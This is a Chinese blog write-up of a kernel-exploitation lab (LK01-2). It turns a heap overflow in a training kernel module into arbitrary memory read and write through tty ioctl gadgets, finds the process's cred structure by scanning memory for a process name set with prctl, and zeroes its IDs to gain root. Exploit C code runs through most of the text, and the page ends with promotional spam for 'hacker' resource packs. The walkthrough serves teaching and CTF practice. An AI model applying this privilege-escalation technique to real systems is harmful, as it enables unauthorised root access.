在之前的HeapOverflow文章中,作者还构造了任意地址读写的操作,使用了任意地址读写去进行提权,还挺有意思的,记录一下如何利用任意地址读写进行提权。
作者利用任意地址读写分别改写modprobe_path以及cred
结构体去实现提权的操作,由于改写modprobe_path
的方法之前已经研究过了,因此现在详细记录一下如何修改cred
结构体完成提权操作。
cred
结构体通常出现在UNIX/Linux操作系统内核中,用于表示进程的凭据(credentials)。这些凭据包括有关进程身份的信息,如用户ID、组ID、权限等。结构体部分成员如下
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
...
} __randomize_layout;
而我们在ret2usr
的操作中,通常都为执行commit_creds(prepare_kernel_cred(0))
,实际就是为了获取root
的凭证,因此如果我们能过任意地址写的操作修改cred
的结构体也同样能够实现。
在cred
的结构体存在uid
、gid
等标识符用于标识在系统中用于身份验证和权限控制,因此将这些标识符修改为0
,即可将当前进程修改为root
进程。
那么该如何获取cred
结构体的地址,则是提权的关键。这里就需要凭借任意地址读的操作。在task_struct
中存在着cred
结构体的指针值。并且该指针值刚好存在于comm
变量的上方,而该变量用于存储当前的进程名。
/* Effective (overridable) subjective task credentials (COW): */
const struct cred __rcu *cred;
#ifdef CONFIG_KEYS
/* Cached requested key. */
struct key *cached_requested_key;
#endif
/*
* executable name, excluding path.
*
* - normally initialized setup_new_exec()
* - access it with [gs]et_task_comm()
* - lock it with task_lock()
*/
char comm[TASK_COMM_LEN];
因此我们可以通过将当前的进程名设置为在内核地址中几乎不会出现的值,则可以搜索内存值找到comm
变量的位置,那么就可以获取cred
结构体的指针值。
这里使用prctl
函数设置进程名,prctl
函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。 prctl
函数的原型如下:
#include
int prctl(int option, unsigned long arg2, unsigned long arg3, unsigned long arg4, unsigned long arg5);
prctl
函数是一个用于进程控制的系统调用,通常在Linux系统上可用。它允许你以不同的方式控制和查询进程的各种属性和行为。
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注“freebuf”获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
prctl
函数的参数和行为取决于传递给它的 option
参数,以及可能的附加参数 arg2
到 arg5
。不同的 option
值对应于不同的控制操作。
以下是一些常见的 option
值和它们的用途:
PR_SET_NAME
:设置进程的名称,可以用于在系统中标识进程。PR_GET_NAME
:获取进程的名称。PR_SET_PDEATHSIG
:设置父进程退出时发送给子进程的信号。PR_GET_PDEATHSIG
:获取父进程退出时发送给子进程的信号。PR_SET_SECCOMP
:启用或禁用Seccomp过滤器,用于限制进程对系统调用的访问。PR_SET_KEEPCAPS
:控制进程是否保留其有效用户ID的能力。PR_GET_KEEPCAPS
:获取进程是否保留其有效用户ID的能力。PR_SET_NO_NEW_PRIVS
:设置进程的No New Privileges
标志,用于控制是否可以提升权限。PR_GET_NO_NEW_PRIVS
:获取进程的No New Privileges
标志状态。PR_SET_DUMPABLE
:设置进程的核心转储状态。PR_GET_DUMPABLE
:获取进程的核心转储状态。PR_SET_CHILD_SUBREAPER
:设置进程是否作为子进程的子进程的领导者。PR_GET_CHILD_SUBREAPER
:获取进程是否作为子进程的子进程的领导者。ptrctl(PR_SET_NAME, "XXXXXXXXX"); //设置进程名
那么利用cred
结构体的提权流程如下:
prctl
函数将进程名设置为关键字cred
结构体的地址cred
结构体标识符的值,全修改为0项目地址:https://github.com/h0pe-ay/Kernel-Pwn/tree/master/LK01-2/LK01-2/qemu/AAR&AAW
题目的读写模块存在着堆溢出的漏洞,那么想要使用cred
结构体进行提权,首先需要构造出任意地址读写的操作。
...
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = 0xaaaaaa;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++)
ioctl(spray[i], 0x1234, 0x5678);
...
正如之前所说的,ioctl
的参数是会传递给寄存器的,可以看到ioctl
函数的参数对应RCX
与RSI
寄存器,而第三个参数对应于RDX
寄存器。并且距离g_buf
地址的0xc
的位置可以劫持程序的流程。
那么在内核中搜索相关的gadget
就可以构造出任意地址读写的操作。
这里需要注意的是ioctl
函数的参数的字节长度是不同的,在执行ioctl(spray[i], 0x1122334455667788, 0x1122334455667788)
时,我们同时往参数二与参数三写入0x1122334455667788
的值,但是RCX
寄存器值传入了4个字节,而RDX
寄存器可以传入8个字节,因此我们需要将RDX
寄存器作为地址,而RCX
作为值,这是因为内核地址是占满八字节的。
搜索的表达式为cat g | grep "mov .* \[rdx\];"
,由于需要rdx
作为地址,因此直接搜索以rdx
作为间接寻址的操作,括号需要进行转义字符。这里我们选取0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
作为任意地址读的gadget
,这是因为我们可以往rdx
填入想要读取的地址并且eax
通常用于存储返回值,因此直接读取返回值即可获得rdx
指向的值。
为了加速读取,作者这里采用缓存的形式,将能够控制的tty
结构体的文件描述符存储起来,这样在下次读取时就不用重新遍历一遍。
//0xffffffff8118a285: mov eax, dword ptr [rdx]; ret;
int aar(unsigned long addr)
{
int result;
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aar;
write(fd, buf, 0x500);
if (cache_fd == -1)
{
for (int i = 0; i < 100; i++) {
result = ioctl(spray[i], 0, addr);
if (result != -1)
{
cache_fd = spray[i];
return result;
}
}
}
else
return(result = ioctl(cache_fd, 0, addr));
}
任意地址写的gadget
搜索思路与任意地址读一致,同样是将rdx
作为寻址的寄存器,并且由于需要构造任意地址写,因此rcx
寄存器则是我们想写入的值,因此搜索的表达式为cat g | grep "mov .* \[rdx\], rcx;"
//0xffffffff810477f7: mov qword ptr [rdx], rcx; ret;
void aaw(unsigned long target_addr, unsigned long data)
{
*(unsigned long *)&buf[0x418] = g_buf;
p[0xc] = kernel_base + op_aaw;
write(fd, buf, 0x500);
for (int i = 0; i < 100; i++) {
ioctl(spray[i], target_addr, data);
}
}
首先是将当前进程名设置为一个关键字
prctl(PR_SET_NAME, "h0pe-ay!");
然后就是在内存中搜索该关键字,由于task_struct
结构体存在于堆地址中,因此可以在堆地址中搜索。我们可以通过泄露的g_buf
的地址,然后往前搜索,因为cred
结构体会先于g_buf
创建。这里需要注意的是需要将进程名改为小端,这里记录一下python
从字符串转为16进制的脚本,因为每次都忘记了。
#从字符串转化为十六进制
>>> text = "h0pe-ay!"
>>> hex_string = text.encode('utf-8').hex()
>>> print(hex_string)
683070652d617921
#从十六进制转化为16进制
hex_string = "65703068"
bytes_obj = bytes.fromhex(hex_string)
print(bytes_obj)
接下来就是搜索内存了,需要注意以下几点
g_buf
地址往前搜索在成功搜索到关键字之后,comm
的上方四字节则是用于存储cred
结构体的指针,因此需要通过任意地址去读取指针值,同样的由于只能读取四字节,因此需要读取两次,然后使用简单的移位组合起来。
for (unsigned long addr = g_buf - 0x1000000;; addr += 0x8)
{
if (aar(addr) == 0x65703068 && aar(addr+4) == 0x2179612d)
{
printf("[+] found!\n");
printf("addr:0x%lx\n", addr);
cred_addr = aar(addr - 4);
cred_addr = (cred_addr << 32) | aar(addr - 8);
printf("cred_addr:0x%lx\n", cred_addr);
break;
}
}
最后就是改写cred
结构体了,只需要将所有标识符修改为0
即可,接着拿shell
即可
for (int i = 1; i < 9; i++)
aaw(0, cred_addr + i*4);
完整exp可见https://github.com/h0pe-ay/Kernel-Pwn/blob/master/LK01-2/LK01-2/qemu/AAR&AAW/exp.c
今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。
最后给大家分享我自己学习的一份全套的网络安全学习资料,希望对想学习 网络安全的小伙伴们有帮助!
零基础入门
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
【点击领取】CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享
攻击和防守要学的东西也不少,具体要学的东西我都写在了上面的路线图,如果你能学完它们,你去接私活完全没有问题。
网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我自己录的网安视频教程,上面路线图的每一个知识点,我都有配套的视频讲解。【点击领取视频教程】
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取技术文档】
(都打包成一块的了,不能一一展开,总共300多集)
技术文档也是我自己整理的,包括我参加大型网安行动、CTF和挖SRC漏洞的经验和技术要点,电子书也有200多本【点击领取书籍】
“工欲善其事必先利其器”我为大家总结出了最受欢迎的几十款款黑客工具。涉及范围主要集中在 信息收集、Android黑客工具、自动化工具、网络钓鱼等,感兴趣的同学不容错过。
最后就是我这几年整理的网安方面的面试题,如果你是要找网安方面的工作,它们绝对能帮你大忙。
这些题目都是大家在面试深信服、奇安信、腾讯或者其它大厂面试时经常遇到的,如果大家有好的题目或者好的见解欢迎分享。
参考解析:深信服官网、奇安信官网、Freebuf、csdn等
内容特点:条理清晰,含图像化表示更加易懂。
内容概要:包括 内网、操作系统、协议、渗透测试、安服、漏洞、注入、XSS、CSRF、SSRF、文件上传、文件下载、文件包含、XXE、逻辑漏洞、工具、SQLmap、NMAP、BP、MSF…
因篇幅有限,仅展示部分资料,需要点击下方链接即可前往获取
CSDN大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享